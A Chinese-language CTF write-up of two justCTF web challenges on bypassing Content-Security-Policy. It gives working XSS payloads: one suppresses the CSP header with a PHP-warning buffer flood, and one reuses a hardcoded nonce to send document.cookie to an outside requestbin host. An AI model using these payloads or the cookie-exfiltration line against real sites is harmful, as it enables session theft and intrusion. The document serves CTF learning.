前言
接近年边了比赛挺多的,就挑了几个自己擅长的类型题目做了一下,结果题目都太难了QAQ。
0x01 Baby CSP
1.题目简介
We just started our bug bounty program. Can you find anything suspicious?
The website is running at https://baby-csp.web.jctf.pro/
这道题目太难了,赛前做了两天都每个做出来,赛后看了原作者的思路,总结了一下。
2.题目源码如下:
<?php
require_once("secrets.php");
$nonce = random_bytes(8);
if(isset($_GET['flag'])){
if(isAdmin()){
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('Content-type: text/html; charset=UTF-8');
echo $flag;
die();
}
else{
echo "You are not an admin!";
die();
}
}
for($i=0; $i<10; $i++){
if(isset($_GET['alg'])){
$_nonce = hash($_GET['alg'], $nonce);
if($_nonce){
$nonce = $_nonce;
continue;
}
}
$nonce = md5($nonce);
}
if(isset($_GET['user']) && strlen($_GET['user']) <= 23) {
header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'");
echo <<<EOT
<script nonce='$nonce'>
setInterval(
()=>user.style.color=Math.random()<0.3?'red':'black'
,100);
</script>
<center><h1> Hello <span id='user'>{$_GET['user']}</span>!!</h1>
<p>Click <a href="?flag">here</a> to get a flag!</p>
EOT;
}else{
show_source(__FILE__);
}
// Found a bug? We want to hear from you! /bugbounty.php
// Check /Dockerfile
在底部我们能看到两行注释:
/bugbounty.php
,应该是提交bug
链接的地方。/Dockerfile
,给我们提供了一个Dockerfile
文件:###### 从FROM php:7.4-apache COPY src-docker/ /var/www/html/ RUN mv "$PHP_INI_DIR/php.ini-development" "$PHP_INI_DIR/php.ini" EXPOSE 80
Dockerfile
中我们知道php
使用的是开发环境。这个点是非常关键的,因为后面我们要利用php
响应缓冲区大小填充来绕过http响应头。
3.解决
反射性XSS
我们通过在/?user=<span>ljpm</span>
插入一个标签并显示在页面中,你可以访问该地址查看https://baby-csp.web.jctf.pro/?user=%3Cspan%3Eljpm%3C/span%3E 。
但是我们被限制在23
个字符以内(strlen($_GET['user']) <= 23
),通过 https://tinyxss.terjanq.me/ 我们能发现,payload大概是这个样子:
<svg/onload=eval(name)>
根据Content-Security-Policy
策略我们的代码显然不可能执行:
PHP Warnings
从上面我们知道该php
环境是开发模式下的,hash($_GET['alg'], $nonce)
hash函数通过$_GET[]
来获取alg
参数,该参数是用来选择hash()
算法的,以便从8个随机字节中生成随机数,但是如果alg
无效呢?它会抛出10个警告。
出题人的意图:
- 通常,在PHP中,当您在调用
header()
之前返回任何主体数据时,该调用将被忽略,因为响应已发送给用户,并且必须先发送标头。 在应用程序中,在调用header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'");
之前未返回任何显式数据。但是因为警告是首先显示的,所以它们在header()
有机会到达之前就进入了响应缓冲区。 - PHP在默认情况下将响应缓冲区设置到
4096
字节,因此通过在warnings
内提供足够的数据,响应将在CSP
头之前发送,从而导致头被忽略。 因此,就可以执行我们插入的代码了。 - 警告的大小也有另一个限制(好像是
1kb
),因此有必要将4个警告各强制1000
个字符,其实大于1000
字符也可以的。
payload如下:
<script>
name="fetch('?flag').then(e=>e.text()).then(alert)";
location = 'https://baby-csp.web.jctf.pro/?user=%3Csvg%20onload=eval(name)%3E&alg='+'a'.repeat('292');
</script>
poc 地址。
0x02.Babier CSP
1.源码
const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;
const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');
const template = name => `
<html>
${name === '' ? '' : `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>
<script nonce=${NONCE}>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>
`;
app.get('/', (req, res) => {
res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
res.send(template(req.query.name || ""));
})
app.use('/' + SECRET, express.static(__dirname + "/secret"));
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
})
题目乍一看,没什么思路,因为CSP
设置了default-src none; script-src 'nonce-${NONCE}';
,我们想要执行脚本,必须获取nonce
的值。但是nonce
的值是变动的因此无法使用?
2.最开始的想法:
利用不完整script标签绕过nonce
示例如下:
<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
//do some thing
</script>
PS: 最新版本的chrome不支持。
但是该题目中隔了一行标签因此该方法失效了。
3.解决
几经辗转后发现,题目的nonce
属于硬编码,直接读取即可。
刚开始没注意NONCE
已经初始化,而且在我们访问题目的时候,不会在去执行模板上面的NONCE
生成,因此每次访问是不会变的。
payload:
<script nonce="g+ojjmb9xLfE+3j9PsP/Ig==">
location.href="http://http.requestbin.buuoj.cn/1jfgdf81?flag="+document.cookie;
</script>
PS: 需要url
编码。
访问机器人:
拿到secret
获取flag:
0x03.参考链接
https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points
点击收藏 | 0
关注 | 1
打赏